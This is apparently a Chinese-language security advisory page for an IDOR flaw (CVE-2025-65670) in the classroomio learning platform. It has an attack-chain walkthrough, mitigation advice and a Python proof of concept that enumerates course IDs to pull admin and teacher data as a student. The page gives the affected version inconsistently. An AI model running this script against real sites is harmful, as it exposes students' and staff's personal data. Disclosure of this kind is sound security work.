IPBUF安全漏洞报告
English
CVE-2025-65670 CVSS 4.3 中危

CVE-2025-65670: classroomio IDOR漏洞导致敏感数据未授权访问

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-65670
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
classroomio 0.1.13

相关标签

IDOR访问控制绕过数据泄露classroomioCVE-2025-65670Web应用漏洞权限验证不足

漏洞概述

CVE-2025-65670是classroomio 0.1.13版本中的一个中危安全漏洞,属于不安全的直接对象引用(IDOR)类型。该漏洞允许低权限学生用户通过操纵URL中的course ID参数,绕过正常的访问控制机制,访问本应仅限管理员或教师访问的敏感端点。攻击者可以利用此漏洞获取未授权的课程信息、管理员数据和学生个人信息。由于系统会在短暂延迟后恢复到正常访问限制状态,这种数据泄露具有间歇性特征,但仍然构成严重的安全风险。classroomio是一个开源的在线教育平台,该漏洞影响了其核心的访问控制机制,破坏了多租户环境下的数据隔离原则。

技术细节

该IDOR漏洞源于classroomio应用对用户提交的course ID参数缺乏充分的权限验证。在正常的业务逻辑中,学生用户只能访问已注册课程的公开信息,而管理员和教师端点包含敏感的后台管理功能和数据。攻击者通过拦截正常的HTTP请求,将目标course ID替换为其他课程的ID,系统未能正确验证当前用户是否有权访问该课程的相关端点。具体攻击方式包括:1) 拦截学生用户访问课程材料的请求;2) 修改URL中的course参数值为目标课程ID;3) 发送修改后的请求到admin或teacher专属端点;4) 系统错误地返回敏感数据而非拒绝访问。由于服务端存在短暂的访问控制检查延迟,攻击者可以在此窗口期内获取数据。漏洞的根本原因在于服务端对每个请求都应进行完整的会话验证和权限检查,而非仅依赖前端的访问控制限制。

攻击链分析

STEP 1
步骤1
攻击者以学生身份登录classroomio平台,获取有效的用户会话token
STEP 2
步骤2
攻击者访问正常的课程页面,拦截HTTP请求,识别course ID参数
STEP 3
步骤3
修改URL中的course ID值,尝试访问其他课程的admin或teacher专属端点
STEP 4
步骤4
在系统访问控制检查的短暂延迟窗口内,发送构造的恶意请求
STEP 5
步骤5
系统错误地返回敏感的管理员数据、教师信息或学生个人信息
STEP 6
步骤6
攻击者收集泄露的数据,可能用于进一步攻击或数据贩卖

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-65670 PoC - IDOR in classroomio 0.1.13 # Description: Students can access admin/teacher endpoints by manipulating course IDs TARGET_URL = "http://target.com" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/api/auth/login" ADMIN_ENDPOINT = f"{TARGET_URL}/api/admin/courses" TEACHER_ENDPOINT = f"{TARGET_URL}/api/teacher/students" def login_student(username, password): """Login as student with low privileges""" session = requests.Session() response = session.post(LOGIN_URL, json={ "email": username, "password": password }) return session if response.status_code == 200 else None def exploit_idor(session, course_id): """Exploit IDOR by manipulating course ID to access admin endpoints""" # Method 1: Access admin course data admin_url = f"{ADMIN_ENDPOINT}/{course_id}" response = session.get(admin_url) if response.status_code == 200: print(f"[SUCCESS] Accessed admin data for course {course_id}") print(f"Data: {response.text}") # Method 2: Access teacher student list teacher_url = f"{TEACHER_ENDPOINT}?course_id={course_id}" response = session.get(teacher_url) if response.status_code == 200: print(f"[SUCCESS] Accessed student list for course {course_id}") print(f"Data: {response.text}") return response.text def main(): # Step 1: Login as student session = login_student("[email protected]", "password123") if not session: print("[ERROR] Login failed") return print("[INFO] Logged in as student") # Step 2: Enumerate course IDs (e.g., 1-100) for course_id in range(1, 101): exploit_idor(session, course_id) if __name__ == "__main__": main()

影响范围

classroomio < 0.1.13

防御指南

临时缓解措施
立即限制学生用户对admin和teacher端点的访问权限,在所有API请求中添加服务端权限验证。临时可使用WAF规则阻止异常course ID访问模式,但应尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表